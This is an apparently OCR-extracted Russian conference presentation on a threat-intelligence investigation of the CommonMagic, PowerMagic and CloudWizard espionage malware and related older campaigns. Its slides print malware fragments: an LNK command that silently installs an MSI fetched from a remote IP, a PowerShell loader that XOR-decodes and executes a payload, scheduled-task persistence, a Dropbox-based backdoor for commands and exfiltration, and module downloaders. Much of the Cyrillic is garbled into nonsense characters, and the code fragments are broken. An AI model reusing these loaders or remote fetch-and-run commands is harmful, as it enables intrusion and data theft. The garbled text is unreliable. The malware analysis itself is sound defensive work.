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Marunueckas uenouka 3apa>keHus B

1) 4597.pdf

MHWHHUCTEPCTBO ®MUHAHCOB
JIOHELIKO# HAPO/IHOM PECITYBJIMKU
(Mundpun JIHP)
ya. ConoBbsiHeHKo, 115a, r. Jloneuk, 83087, Ten/dakc (062) 300 36 00
Caifr: http://www.minfindnr.ru E-mail: info@minfindnr.ra Mnenr it kox 51001489

B A7 Ne 2525/ 555F

Ha Ne or
2 | [Nprkas MnHomHa
BI0/KETHBIX CPEJICTB
Jlonenxoit Haponnoit Pecry6mmku
H P N O 1 ; 6 df I n k O npesocTasieHnn HHGOPMAIUH
] u

(cornacHo CITUCKY)

MunncrepetBo  (unancoB Jlowenko#t Haponnoit Pecny6muku (manee —
MuHHicTepeTBO (DMHAHCOB) coobmaeT o6 yTBepKIeHMH IpHKa3sa MuHHCTEpCTBa
¢dunancoB or 15.09.2022 Ne 176 «O6 yreepxieHur MeTOIMKH NIaHMPOBAHMS
610/DKeTHBIX accurHoBaHui Ha 2023 roj u miaHoBbIH nepuon 2024 u 2025 rogosy,
3aperucTpupoBasHoro 8 Munucreperse roctuimn Jlonenkoit Hapoamoit Pecrry6mku
16.09.2022 nox peructpanuonnsM Ne 5308.

Vka3aHHBIH NpHKa3 pasMelleH Ha oduiuansHoM caite Jonenkoi Haponnoit
Pecrry6muxu https://dnronline.su/ u opunmansaom caiite MunncrepcTsa puHaHCOB
https://minfindnr.ru/.

O6pautaem Bame BHMMaHHe, 49TO COCTaBJIeHHE OOOCHOBaHMi OHOJUKETHBIX
aCCHUIHOBaHWM Ha odepexHOd (GMHAHCOBBIA IOl M  IUIAHOBBIH  IIEpPHON
OCYIIECTBIIACTCA B COOTBETCTBHM C VkazauusMu 0 TNOpsiAKe TNPHUMEHEHUA
GrookeTHOM Knaccupukauuu Jlonenkoi Hapommoit PecryGimku, yTBepKaeHHbIMH
npukazoM MunucrepctBa ¢unancoB or 01.07.2019 Ne 97, 3aperucTpupOBaHHBIM
B Munucrepcree toctuimn  Jlonenkoit Hapoxnoit PecrmyGmuku  02.07.2019
mon peructpanoHHBIM Ne 3258 (manmee — VkasaHus) ¢ y4eToM H3MEHEHHH
K VYKasaHusM, YTBEpXKIEHHBIX IpukazoM Mumnucrepcra ¢uxancos ot 09.08.2022
Ne 123, 3aperucTpupoBaHHBIM B Munuctepctse loctHimu Jlonenkoi Haponwnoii
Pecrry6muxu 10.08.2022 nox peructpanuosssmM Ne 5244,
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MarunJyeckas uenouka 3apa>keHus

1) 4597.pdf

2 | [Nlpukas MmnHoprHa
OHP No 176.pdf.Ink

%WINDIR%\System32\msiexec.exe /i
http://185.166.217[.]184 /CFVJKXIUPHESR
HUSE4FHUREHUIFERAYQ7A4FXA/
attachment.msi /quiet

MMHUCTEPCTBO GHHAHCOB

[MTPHUKA3
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l[',OKYMGHTbI-I'IpI/IMaHKI/I

H3IBEHPATEJIBHAA KbBIPBIM
KOMHCCHA TAKYMXYPHETHHHHDB
PECIIYEJIMKH KPEIM  CAMIAB KOMHCCHACHI

BHBOPYA KOMICIA
PECIIYBEJIKH KPHM

vi. Kapna Mapxca, 18, r. Cumdeponomns, Pecoyomuxka Kpemi,
Poccuiickas Pegepanua, 295000, ren/darc (3652) 27-61-84, e-mail: ikak2014(@mail 1y

Ne
Ha Ne oT

T'napHOMY (hesepanbHOMY
HHCIeKTopy o PecyOmike Kpeim
Ly N e

VeakaeMbIl furr am gl neem

B coorBeTcTBHN ¢ Bammm mickMoM oT 13.09.2021 roma Ne T80 ilefal!
0 Ipe/ocTaBIeHIH HTHGOPMAITII O XolIe IpoBelleHIA Ha TeppHTopIn PecyGmikin
Kpeim BeIOOpOB, HazHAYeHHBIX Ha 19 ceHrsOpa 2021 roma, II0mnpatencHas
xoMucens Pecmybmikn Kpemm HH(OpMHIpyeT o0 HIOraX BHIOOPOB JIeITyTaToB
T'ocyzapcternoll Jymer demepaneHoro Cobpanna Poccmiickoll Deneparmmt

BOCBEMOI'O CO3BIBA.

IEHTPATTEHAA U3BHPATETTEHAH KOMHCCHA

POCCHHMCKOM ®EJEPAIIMIA
IIOCTAHOB/IEHHE
27 mona 2022 1. Ne91/750-8
Mocksa

00 yIBepHIeHHH Pe3y/ILTaToE yuera odbema 3QHPHOIro BpEMeHH, 3aTPaueHHOI0 Ha
OCBEIIIeHHE IeATeTbHOCTH NapIaMeHTCKHX NapTHi B 0011[eP0CCHIICKHX Te/TemporpaMMax
(Tenemepenauax), pagHoNporpaMmax (pajHonepeauax) H perHoHaIbHBIX Te/leNporpaMmax
(Tenenepegauax), pagHonporpaMmax (pagnonepejadax) B aroHe 2022 roga

3acymas HHOODMalio cekpeTaps lleHTpanbHoli m3bHpatenpHoH KomuccHE —Poccuiickoit
Denepary ko= §r. g H 00CYIHB pellleHre Pabodeii rpyIIILI 10 YCTAHORIEHHIO PE3VILTATOR
yueTa ofbeMa 3GMPHOrO BpEMeHH, 3aTDaueHHOrO B TedeHHe OJHOTO KaJdeHJapHOTO Mecdla Ha
OCBELIEHHE [edATe/IbHOCTH [1ADAaMeHTCKMX NHapTwii, or 14 moms 2022 roga Ne 1341 «O
pesvibTatax ydeTa ofbeMa 3QHDHOTO BpeMeHH, 3aTPayeHHOTO Ha OCBEHIeHHe JeATeNTbHOCTH
Tap/aMeHTCEIX NapTHi B 00MepoCCHIACKHX TellenporpaMmMax (Teflenepejayax), pajHonporpaMmMax
(paguonepefgyax) M PperdOHAABHBIX TelelporpaMMmax (Te/lenepefadax), pafHONpOrpaMMax
(pamuonepesadax) B HioHe 2022 rofja», Ha OCHOBAaHMH CTaThid 5 PejepanbHoro 3akoHa «O
TAPAaHTHAX  paBPHCTBA MMapIaMEHTCKMX [MapTHH INpPH  OCBEMIEHMH HX  JedTe/bHOCTH
TOCYAapCTBeHHBIMH 00I]eJOCTYIIHEIME Te/lekaHalaMH H pajuokaHanamu», pasgena VI ITopagxa
yueTa ofbeMa 3GHDHOrO BpEMEeHH, 3aTPadeHHOTO B TEYeHHE OJHOTO KaleHJapHOTO Mecslla Ha
OCEellleHHe JedTe/bHOCTH KamoH MapaaMeHTCKOl MapTHH B O0MepoCCHIICKHX TelenporpaMmMax
(Teneriepesayax), pagHMOTporpaMMax (pajHoNepeqayax) M DerHOHANBHBIX  TeMenporpaMMax
(Teqenepejayax), pagHonporpaMmax — (pagMonepedadax), YTBED:KIEHHOTO —MOCTAHOBIEHHEM
TentpambHoii H3GHpaTensHOH KomuccuM Poccmbickol degepani oT 5 asrycra 2009 roja
Ne 167/1190-5, LlenTpansHaa H30HpaTeTbHad KoMHCcHA Pocaiickol degepalii oCTaHOB/IeT:
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XpoHonorus npumaHoK

09-22

2021

HOBOE OTMEHA
peLeHnn
yuKk 288.zip

04-28

2022

BHeceHve_nameHeHunn_
B_OTAENbHbIE
3aKoHOJaTeNbHbIE _aKThl_

pd.zip

06-06

2022

rpaxxaaHvH po
(redacted).zip

08-05

2022

urK 3638.zip

08-12

2022

c314-1519
o1 10.08.22.zip

09-23

2022

npukas
MUHPUHA
OHp No 176.zip
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Cxema

3awmndpoBaHHbIV
stage 1

Hexpuntop

OpuvirrHanbHbIN
OOKYMEHT

attachment.msi

service_pack.dat

runservice_pack.vbs

[Tpmnkas MuHprHa OHP
N°176.pdf
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Stage O. IHcTannaTop

runservice_pack.vbs:

tarb="powershell.exe -
encodedCommand
:CreateObject("Wscript.shell").Run
tarb,0

tinst="%env:APPDATA\WinEventCom\service_pack.dat";
if (1(Test-Path %$inst)){

Feturmn;
I

$binst=[System.I0.File]: :ReadAllBytes($inst);
$xbinst=New-Object Byte[] $binst. Cuunt

for :$1-1t%binst. Count:$1
$xbinst[$i]=%binst[$i]- bxarﬂxli,
$xbinst[$1i]=%binst[$1i]-bxor@x55;
fxbinst[$i]=%binst[$i]-bxor0xFF;
$xbinst[$i]=%binst[$i]-bxoroxFF;

[
Try {

[System.Text.Encoding]: :ASCII.Get5tring(3xbinst)|iex;
}

Catch {};
Start-Sleep 3;
Remove-Item -Path $inst -Force
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Stage 1. PowerShell-gponnep 9

$AgentFolderName="WinEventCom'

$AgentName="'config'

$AgentLoaderName="manutil.vbs'
$AgentAbsPath="%env: LOCALAPPDATA\ $AgentFolderName"

$AgentAbsPathName="%env:LOC

if ((Test-Path "$AgentAbsPathName”) -And (Test-Path "$AgentLoaderAbsPathName"))
$AgentLoaderAbsPathName="%e

{
CreateTask $command $CommandArguments

$command = 'wscript.exe’

$CommandArguments = """$Age schtasks /query /TN "$TaskName" > $null 2=&1

$TaskName = 'WindowsActiveX if ($7)
. schtasks /RUN /TN "$TaskName"
}
else

[)EB(:F)/F)tEBCj . Remove-Item -LiteralPath %$AgentAbsPath -Force -Recurse ;

}

service_pack.dat:
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Stage 2. PowerMagic

cnonbayeT OneDrive /
Dropbox

2 [TonyyaeT kKoMmaHab!
N3 06N1aYHON Nanku

GAppDir="powermagic';
$ClinetDir="client';
$ClinetTaskDir="task";
$ClinetResultDir="'result';

$ClientToken="Lu = HWredee id L bl ksl W s 9

$dbx_up="https://content.dropboxapi.com/2/files/upload"’;
$dbx_down = 'https://content.dropboxapi.com/2/files/download’
$dbx_1list = 'https://api.dropboxapi.com/2/files/list_folder':
$dbx_delete = 'https://api.dropboxapi.com/2/files/delete_v2';

$TargetId=(get-wmiobject Win32_ComputerSystemProduct

10
BGFDY)KaeT pe3y/ibTaT KOMaHObl B o61aKko
no nytn /$AppDir/$ClientResultDir/<UUID
3apa>XeHHOro KoMnbkoTepPa>.<BpeMeHHasd
MeTKa>
TP WL R TH L A Y
| Select-0Object -ExpandProperty UUID).trim();
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Stage X. CommonMagic 1

BTopas cTagus

>4

OneDrive & % RCoSimple

Moy nbHbI
PpenmBopK

CKPVHLLOTHI =© ) USB
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MocT B Twitter

Leonid Bezvershenko

Magic is here! We have discovered a previously unknown #APT that has
been attacking organizations in the area affected by the conflict between
Russia and Ukraine. Observed victims were compromised with previously
unknown implants that we dubbed #P Magic and #CommonMagi

[1/4]

¥,

—®

PowerMagic
loader

&

L %

PowerMagic
backdoor

12
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MocT B Twitter 13

% Jazi

Well me and my team did a comprehensive research on this but for some

reasons (mainly because of attribution sensitivity) we have decided to
hold it off from publishing.

1,501
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NMocT B Twitter 14

% Jazi

Well me and my team did a comprehensive research on this but for some

reasons (mainly because ofjattribution sensitivity)jwe have decided to
hold it off from publishing.

1,501
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Eweé nccneposaHng 15

COMMONMAGIC Powermagic

BpeooHOCHbLIV OOKYMEHT

m DULLNHIrOBOE NMNCbMO

& RECON mHCTpyMeEHTHI
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NccneposaHune Malwarebytes 16

MSI_ T — ~icid

YcraHoBka 3aBepuieHa

YCTAQHOBLUMK o

Ina sbixoga Haseme knonky '3akpems'!

Owubxa npu pabore ¢ ApABIKOM 1 x|
M 3 2 O 2 O O6BEKT, HA KOTOLIM CCEINABTCA 3TOT APNLIK HE HAHAEH MK
! NOBPENAEH.

m Cancel J

| ] oven |
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Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger



NccneposaHune Malwarebytes

[lokymeHTbI-nprMmaHk ns 2021

HAPOJIHBIH COBET

JYTAHCKOM HAPOJHOMH PECIIYBJIUKH
TPETHLETO CO3BIBA

ITOCTAHOBJIEHHE

Jlyrauck

O paccMoTpeHHH BO BTOPOM YTEHHH HPOEKTA 3AK0HA
Jlyranckoit Hapoaunoii Pecniyommkn ot 19.03.2021 Ne 417-113/21-3
«0 Buecennn n3menennii B 3axon Jlyranckoii Hapoanoii PecnyOimnkn
«O PusHvecKoii KyIbTYpe H CTIOpTE»

Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger

17
POCCUMCKAST ®EJIEPAIIUS
OPEJEPAJNBHBIN 3AKOH
O BHeceHHH H3MEHEeHHi B OT/JeJIbHbIE 3aKOHOAATEIbHbIE AKThI
Poccniickoii ®eaepanuu

ITpunsat NocynapcTeennoit [{ymoi 22 mapra 2022 rosna
Ono6pen CoBeToM depepauuu 23 mapra 2022 roma

Cratbs 1



NccneposaHune Malwarebytes

1

2 #Constants
3 $NGrokFolderName='SolarTools';
4 $NgRockDiskName="ngrok.exe';

5 $NgRockPsName='ngrok';

6 SExecutablePath=

7

8 #Modify this before send

18

Ngrok
019 Npobpoca

f )
19 #sng_proxy_block=[scriptblock]::Create("SExecutablePath http_proxy $Sng_proxy_string")
20 sng_http_block=[scriptblock]::Create( "5 S )

9 $ng_auth_token = |

10 #5ng_auth_token = "2C a(f:‘l){

11 #5ng_proxy_string = "http://192.168.1.11:3128";
12 SDisk=

13

14 if (Test-Path E b

15 {

16 Stop-process -Name $NgRockPsName -ErrorAction SilentlyContinue
17 Start-Sleep -Second 2;

18 $ng_auth_block=[scriptblock]::Create(
21 start-job -ScriptBlock $ng_auth_block
22 Start-Sleep -Second 2;

23 start-job -ScriptBlock $ng_http_block
24 start-Sleep -Second 2;

25

26 }

27 else

28 {

29 write

30 }

31

32 # ngrok.exe http file:///C: authtoken )‘de»(_HAj‘J
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Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger



NccneposaHune Malwarebytes 19

PowerShell-yctaHoBmk CommonMagic

ip =
port
rootdir

+ $rootdir +

url;
urlsj

Uri "surlsj
script

ScriptBloc script;

S

( g r 3 ommand") {

Invoke-WebRequest -Uri url\FI -QutFile "C:\P ramData\(
Start-Sleep -Second 1;

Invoke-WebRequest -Uri url\FILES\$0" -OutFile :\ProgramData\Comn
Start-Sleep -Second 1;

Invoke-WebRequest -Uri url\FILES\$c" -OutFile ogramData
Start-Sleep -Second 1;

script=[scriptblock]::Create(
start-job -ScriptBlock $script;
Start-Sleep -Second 2;
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Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger



NccneposaHune Malwarebytes 20

PowerShell-yctaHoBmk CommonMagic

'‘C:\ProgramData\CommonCommand") {
Invoke-WebRequest -Uri "$Surl\FILES\$a" -OutFile "C:\ProgramData\CommonCommand\All\$a";

Start-Sleep -Second 1;
Invoke-WebRegue o

Start-Sleep _ _

e The CommonMagic framework consists of several executable
Start-Sleep

modules, all stored in the directory

C:\ProgramData\CommonCommand. Modules start as standalone
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NccneposaHune Malwarebytes 21

IcTOpUg BbIMOJIHEHHbLIX KOMaHL,

2022-09-23 Investigation starts

2022-09-24T02:53 [OokymeHTn (Documents) folder is created in OneDrive

2022-09-24T02:53 Mporpamun (Programs) folder is created in OneDrive

2022-09-24T02:53 JimmyMorrison43 folder is created under Documents, in OneDrive

2022-09-24T02:54 Pobouuni cTin (Desktop) folder is created in OneDrive

Attackers sent a command to victim #1. Attackers were trying to list user files, as
ListFiles 2022-09-24T10:25

shown in the image
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Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger



Cnexka 3a aTaKylowwumMmn 22

TUKYUK
TUK VMK

BblkayaHHbIe
C XXepTB
T dannbl

TUK
TUK 2¢
TUK
THUK
TUK
TUK
TUK
TUK
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Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger



Cnexka 3a aTaKylowwumMmn 23

CKPUVHLLOTbI C MaLUMHbI Pa3paboTuUMKa

| | 5 | C\Users\TstUser\Desktop\Internet WORK\Internet = O X
Home Share View '
« v 4 > Internet WORK > Internet > v | O Search Internet
Name Date modified Type Size

3 Quick access

Debu
[l Desktop S g
rapidjson
J- Downloads Relanse
|l Documents ++ Cloud.cpp
= Pictures - Cloud.h
Cryptor *+ dropBox.cpp| . 23KB
Internet_WORK dropBox.h 5 KE
e
Screenshot ¥ flecap
File.h ke
Usual
*+ http_request.cpp 16 KE

@ OneDrive - Personal [ http_request.h

*+ Internet.cpp
Internet.h

=F Network ] Internet.vexproj

1 Internet.vexproi filters

= This PC

i Internet.vexproj.user

*+ InternetMain.cpp

*+ json_for_cloud.cpp
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Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger



Cnexka 3a aTaKylowwumMmn

CKPUVHLLOTbI C MaLUMHbI Pa3paboTuUMKa

est  Analyze

nts = Thread!

Pipe.cpp
%] Internet

Tools Extensions Window Help Search (Cirl-Q) b Internat

Jarh
(Iid
|
1l

Continue ~ & a -xlm o

Stack Frame =

Cloud.cpp + X EELITLR] OneDriveAPl.cpp -

- (Global Scope) -
TEEOU JECT = WUIKOD JZUZIerIsce =
nameObjec "
nameObi
nameObjec
namedbjec
nameObject
nameObi
nameObject
namedbjec
nameObject
nameObj
nameObject
nameObject
nameObjec "TstProxyReal";

ameObject = "TSESCR";

v tstscr X - S

dropbox_refresh_token_a = " 540
dropbox_client id a = " 75
dropbox_client_secret_a = "y H

g folders_download_a = nameObject
folders_upload_a = nameObject +
3 folders_state_a = nameObject + +

~ing user_agent_w = L"Mozilla/5.@ (Windows NT 18.8; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/l

ing accessTokenDropbox;

Source: https://www.malwarebytes.com/blog/threat-intelligence /2023 /05 /redstinger

24
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A rpe atpnéyunsa?

«In this case, attributing
the attack to a specific
country is not an easy
task»



«Marunueckasa» cny>ba 26

C:\ProgramData\Apparition
Storage\syncobjsup.dll

RC5* decryption

C:\ProgramData\Apparition Storage\mods.Irc
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RC5 c nogsoxom 27

for (1 =0; 1 < 4; 1 += 2)

{
A = buf[i];
B = buf[i + 1];
for (3 = 125 j > 0; --3)
{
v2 = rotate right(B - S[2 * 1 + 1], A);
B=A " v2;
A "= v2 ~ rotate right(A - S[2 * 1], A ~ v2);
}
}
SOC
FORUM

2023



RC5 c nogsoxom 28

for (1 =0; 1 < 4; 1 += 2)

{
A = buf[i];
B = buf[i + 1];
for (3 = 125 j > 0; --3)
{
v2 = rotate_right(B - S[2 * j + 1], A);
B=A " v2;
A ~= v2 ~ rotate right(A - S[2 * j], A ~ v2);
}
}
SOC
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RC5 c nogsoxom 29

@ jinhaichen commented on Dec 24, 2019

In Line 33

for {(int j = @; j < 12; ++j) {
A = rotate_left((A A~ B), B) + 5[2 * i];
B = rotate_left((B » A), A) + 5[2 * 1 + 1];

I think the correct code is

for (int j = 1; j <=12; ++j) {
rotate_left((A » B), B) + S[2 * jI;
rotate_Lleft((B o A), A) + S[2 * j + 1];

m
n n

The decryption process is also wrong

‘ gcolvin commented on Dec 24, 2019 Author = «+-

Thanks @scnucjh, you are right. If you want to make a PR that would be great, otherwise I'll get to it when I can.
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VFS

syncobjsup.dll

1
1
:
1

v

VES

JSON Config
Main
Crypton

Internet

P> Module size [0x8 - 0xB]
» Null bytes [oxC - 0xF]
> Module payload [0x10 - Ox89E]

Hex editor
Address

00000000:
00000010:
00000020:
00000030:
00000040:
00000050:
00000060
00000070:
00000080:
000000390:
000000AD:
000000BOD:

00 01 02 03 04 05 06 07

43 69 43 69|74 FO 7B AA
7B 22 4D 61 039 & I

22 30 33 30 37 32

L
L=
Ll
%)

2 32
2 69
2 22
D 69
174
9 6F

b bJ

2C 22

ohoh oW

b BJ

08 09 OA OB

8F 08 00 00
7B 22 BE 61
30 44 44 22
22 2C 22 62
6E 74 65 72
2C 22 64 6F
6E 22 3A 22
69 6F 6E 22
6E 22 3A 22
22 3A 22 30
30 32 30 30
70 75 62 4B

ROR6("Config”)

0C 0D OE OF

00 00 OO0 OO
6D 65 22 3A
2C 22 72 6F
69 74 4F 53
76 61 6C 54
77 6E 49 6E
31 35 22 2C
3A 22 30 22
35 2E 30 22
22 2C 22 6B
37 30 33 31
65 79 22 3A

cicie {
{"Main":{"name":
"03072020DD","ro
moID":"2","bit0S
e, "intervalT
'mll :llzll . "d'W"I"
tervalMin":"15",
"activation":"0"
,"version":"5.0"
. llseriulll : IIBII , llk
eyID":"202007031
51843","pubKey":

30
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OpkecTpaTtop

31

1 1 Bce API-pyHkummn pesonsut yepes ROR6

2 | VIHXKeKT
B WmIPrvSE.exe

3 | 3arpyxaet
MOLY NV

LLneT
heartbeats

[TonyyaeT
KOMaHObI
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KomaHpb!

{"Delete™[...]}
{"Stop"[...1}

{"restart™"..."}

{"replacelist".
"1","Module"{...}}

32
» Command size [0x8 - 0xB]
> Module config [OxC - 0x43]
> Module payload [0x44 - 0x46A43]
Hex editor
Address 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF
00000000: DEADBEEFO1L = = 38 c6A04 0 7B225472 8j {"Tr
00000010: 65 65 22 3A 7B 22 74 79 70 65 22 3A 22 32 22 2C ee":{"type":"2",
00000020: 22 63 6F 75 6E 74 44 61 79 22 3A 22 31 34 22 2C "“countDay":"14",
00000030: 22 65 78 74 22 3A 5B 22 65 78 65 22 2C 22 64 62 "ext":["exe","db
0o0o00040: 22 5D 7D 7D 4D 5A 90 00 03 00 00 00 04 00 00 00 "]]-]-HZ ,,,,,,,,,,
go0e0056: FF FF 00 O0C B8 00 00 0O OO 0D 0D OD 48 00 00 D0 .....vvuees @a. .
Go0000606: OO0 OO0 OO OO OO OO OO OO OO OO OO OO OO0 OO0 OO OO0 ..ovvvevnavnonns
Go0000G70: OO0 OO0 OO OO OO OO OO OO OO OO OO OO OO0 OO0 OO OO0 ..o vvvesnovnonns
go0o00080: 08 01 °C U OEIFBAOGE "C" B4 O0O9CD21BB8O14C . ... . . . .. .. 1..L
00000090: CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 !This program
000000AD: 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 annot be run in
000000BO: 44 4F 53 20 6D 6F 64 65 2E OD 0D OA 24 C ©0 00 DOS mode... . §. . .
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Moaynb wndpposaHusa (Crypton) 33

icnonb3yeT AES + RSA

if ( buffers->results.lenstr && buffers->results.str )
{
10 = RSA_Encrypt(AES_KEY, 32, &v&, (int)&v7, pubKey, pubKeySize);
if ( vio )
{
free(veg);
return vio;
}
/10 = AES_Encrypt((int)buffers->results.str, buffers->results.lenstr, &v4, &v6, AES_KEY);
if ( vie )
goto LABEL_11;
}
if ( buffers->state.lenstr )
{
if ( buffers->state.str )
{
10 = AES_Encrypt((int)buffers->state.str, buffers->state.lenstr, &v2, &v5, phpKey);
if ( vie )
goto LABEL_11;

SOC
FORUM
2023



Mopaynb o6meHa gaHHbIMUN

[1aHHbIE

S

O6bnako

34

1

Bbirpy>xaemble
dannbl

e

KomMaHabl
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Mopaynb o6meHa gaHHbIMUN 35

Bbirpy>aemblie
dannbl
= VS
[1aHHbIE O%ne 0

e

KomMaHabl
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Mopaynb o6meHa gaHHbIMUN 36

-

Pe3epBHbIV OAuth-ToKeHb
BeO-cepBep 0719 0611aKa

[1aHHbIE
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Mopaynb 3anncn mnkpogoHa 37

VIKOHKa aKkTBHOCTU MUKPOPOHA

11:43 AM
~ 8 @) T[]

6/7/2019
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Mopaynb 3anncn mnkpogoHa 38

Mooy b OTKNIOYaEeT NMKOHKY Yepes PeecTp

) Bbl6epl/ITe 3HdUKW, 0T06pa>KaeMb|e B NaHENW 3aa4
u MukpodoH @ OTka.

MukpodoH ncnoneayetr Zoom Kor...
NVIDIA Container ® ) oxn
[ocTynHa HOBaA BepcuA Apaiieepa...

CeTb @ OTrn.

He noaxntodeHo: ecThb AOCTYIHBIE IM...

SOC
FORUM
2023



Mopaynb kpaxxu nucem Gmail 39

cnonbayeT legacy Bepcuto BebkeHTa Gmail

M Gma| ‘ H Search Mail H Search the Web ’g?g:{esgiﬁgromions
Compose Mail Archive ’ ‘ Report Spam ’ ‘ Delete ’ ' More Actions... V’ Refresh

Inbox (208) () Twitter hasherezade Tweeted: RT @frOgger_: &)I've writter
Starred ¥ () Twitter AmitaiBs3 Tweeted: In the past months we observe!
Sent Mail ) e .

Drafts (2) O Twitter @kucher1n, check out the notifications you have o1
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Mopaynb kpaxxu nucem Gmail 40

Moaynb nepexoauT No CCbISIKe, AMYMPYS HaXXaTMe KHOMKY

Google

Do you really want to use HTML Gmail?

You're about to use a version of Gm~

. . < 1 1 =" = T " = 1 "
actions, please use the latest versio ~ * <91V 1d="maia-main” role="main">

<h1>Do you really want to use HTML Gmail?</hl> [overflow

. w <p> [overflow
e ra You're about to use a version of Gmail designed for slower connections and legacy browsers. To get all of

Gmail’'s features, including inbox categories, images, and quick actions, please use the latest version of
Gmail (recommended) .

</p>
v <form action="https://mail.google.com/mail/u/@/h/1spL } method="POST">
input ne="at" type="hidden 5 1ue="AF6bupMi
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N mHoro gpyrmnx mopyneun 41

CKpuHWOTbI  HaxkaTtung knasuLu

MHpopmaumg o6 OC  dDansibl ¢ MaLLUHbI

bpay3epHble Naponn

JINCTUHrM gnpeKTopu
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A KaKk OHO ycTaHaBnMBaeTcs? 42

NSIS-mHcTanngaTop ns 2020:

1 . CospaeT cny>xkby WinSubSvce

2 = OTODOpakaeT coobLleHne
«Well done!»
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CTtapas n HoBast Bepcumn 43

[OupekTopun Ha MaLLHE pPa3padboTuUKa

D:\Projects\Work_2020\
Soft_Version_4\Service

D:\Projects\Work_2020\
Soft_Version_S\Refactoring
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CTtapas n HoBast Bepcumn 44

ApXnTEKTYypa

CloudWizard v4 CloudWizard vb

LLInpposaHmne BHYTpW® OCHOBHOIro Moayns B pasHbix Mogynsax
1 nepenava gaHHbIX

Anropuntm LWnppoBaHUS RC5Simple AES + RSA
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Onpbl NOMHAT... 45

Operation Groundbait (ESET, PHDays 2016)

Groundbait: Analysis of a Surveillance Toolkit

Want to visit +29
Author: Anton Cherepanov

Operation “Groundbait” (Russian: Prikormka) is an ongoing cybersurveillance that took place in
Ukraine. The group behind this operation has been launching targeted attacks to spy on individuals
with a political motive. The group is active since 2008. The talk will uncover details about the attack
campaigns and provide a technical analysis of the used malicious toolkit. The speaker will share
clues uncovered during his research that may point to the origin of the attackers.

SOC
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Source: https://www.welivesecurity.com/wp-content/uploads/2016/05 /Operation-Groundbait.pdf



Onpbl NOMHAT... 46

Operation BugDrop (CyberX, 2017)

OPERATION BUGDROP: CYBERX DISCOVERS LARGE-
SCALE CYBER-RECONNAISSANCE OPERATION
TARGETING UKRAINIAN ORGANIZATIONS

by Phil Neray and David Atch | Feb 15,2017 | Blog | 0 comments

CyberX has discovered a new, large-scale cyber- INTERESTED IN

. . . INDUSTRIAL
reconnaissance operation targeting a broad range of CYBERSECURITY?
targets in the Ukraine. Because it eavesdrops on sensitive ET::: ﬁ?:; f;;’;i“;:ii?ﬁ;.‘” eese okt
conversations by remotely controlling PC microphones - _
in order to surreptitiously “bug” its targets - and uses

Dropbox to store exfiltrated data, CyberX has named it
“Operation BugDrop.”
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Source: https://web.archive.org/web/20171202045106 /https://cyberx-labs.com/en/blog/operation-bugdrop-cyberx-discovers-large-scale-cyber-reconnaissance-operation/



Operation Groundbait

«... the first publicly
known Ukrainian malware
that is being used
In targeted attacks.»

© ESET



Operation Groundbait 48

I3BecTHa kak «[ lpmkopmKa»
AkTnBHa ¢ 2008 roga

Llenn Ha YKpaunHe 1 B 30He
POCCUNCKO-YKPANHCKOro
KOHPIKTA
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I,:l,OK)’MeHTbI-I'I PNMaHKHN

JYTAHCKAJ HAPOJHAJ PECIYBJIHKA

3AKOH

06 onepaTHBHO-PO3LICKHOI e TeIbHOCTH

HacTosmmuii 3akoH oOmpeXendeT COXepKaHHE ONEePAaTHBHO-PO3BICKHOMH
IeATeNbHOCTH, OCYINecTBIZeMOl Ha TeppHTopHH Jlyranckoii HapoxHoi
PecryGIHKH, H 3aKpeIlIfeT CHCTeMY TapaHTHH 3aKOHHOCTH IPH HPOBeJeHHH

ONePaTHBHO-PO3BICKHBIX MEPOIPHATHH.

AOHELIKASl HAPOZLHAS PECMNYB/IUKA DONETSK PEOPLE’S REPUBLIC

Pabouas rpynna no peanusayum Working Grouponthe
Komnnekca mep no sbinonHeHuto 3%, implementation of set of measures
MUHCKUX cornawenui on the execution of Minsk Agreements

Hex. ®. 153 ot 04 urons 2015 r LR B By R TRCTTRE PSP e e
e . ] W R BT R —————
e epa—
LR [
KOITHs:
B e v ¥ W AR s
Ry, I8 s 50wy ¥ PeEa
A jerwm ae ’
PRI LF # o

Hanpasisio B Bam ampec cxemy ACMUIIUTApU30BAHHON 30HBI B paiione
H.1. IlupoknHo u orBoxa BOOPYXEHHBIX (hopMupoBanuii J[OHENKOit Hapoznoii

Pecny6nuku B OIHOCTOPOHHEM TOPSIKE.

49
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I[',OKYMGHTbI-I'I PNMaHKHN

50
HaumeHoBaHMe BEC |B nauke = sl
O1 1000 ye ot 300 ye
UseT:
Npurkopmea FIN «/lew» HaTypans 0,75% 085%
Hbl i
UseT:
- 078§ 0,885
HbIl +
MOTbiNb
0,7 kr 15 —Ll,ae'r: Sez HAOC
KpaweHxHa 08% 09%
2
UseT:
T 0858 0,95
MOTbiNb
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ApxutekTypa

Starts (if exist)

o I | ~ i
L] >
CORE
PERSISTENCE % MODULE
" downloads

MODULE

DOWNLOADER
MODULE

51

SOC
FORUM
2023



ApxuTekTypa _

Uploads collected logs

CORE
MODULE Collects data
Executes /]\ Pushes new modules
PRIKORMKA
MODULES
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BugDrop (aaHHble yaaneHbl) 53

1 | [loxoxkad no »epTBam
KamnaHu4

2 | ToXe ncnonb3yeTcy
MOLY/TbHbIV
PpPeMBOPK

3 | VlcnonbayeT S
Dropbox
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Prikormka n BugDrop 54

Prikormka PDB-path:

D:\My\Projects_AIN2015\wallex\ _2.1_gz\Release\iomus.pdb

BugDrop PDB-path:

D:\My\Projects_AI\2015\wallex\ _2.1_gz\Release\iomus.pdb

SOC
FORUM
2023



HNaHHble ESET 55

malpedia = Examples (3)

win.prikormka (Back to overview)

am Prikormka « Suspicious File called etwdrv.dll
Actor(s): n Export Name: LCrPsdNew.dll

Groundbait PE TlmeStamp 29.9.2017 11:06:41

£33

There is no description at this point.

References

https://www.welivesecurity.com/wp-content/u...

« Export Name: loadCryptPsd.dll
vara Rules PE TimeStamp: 5.1.2017 11:30:15

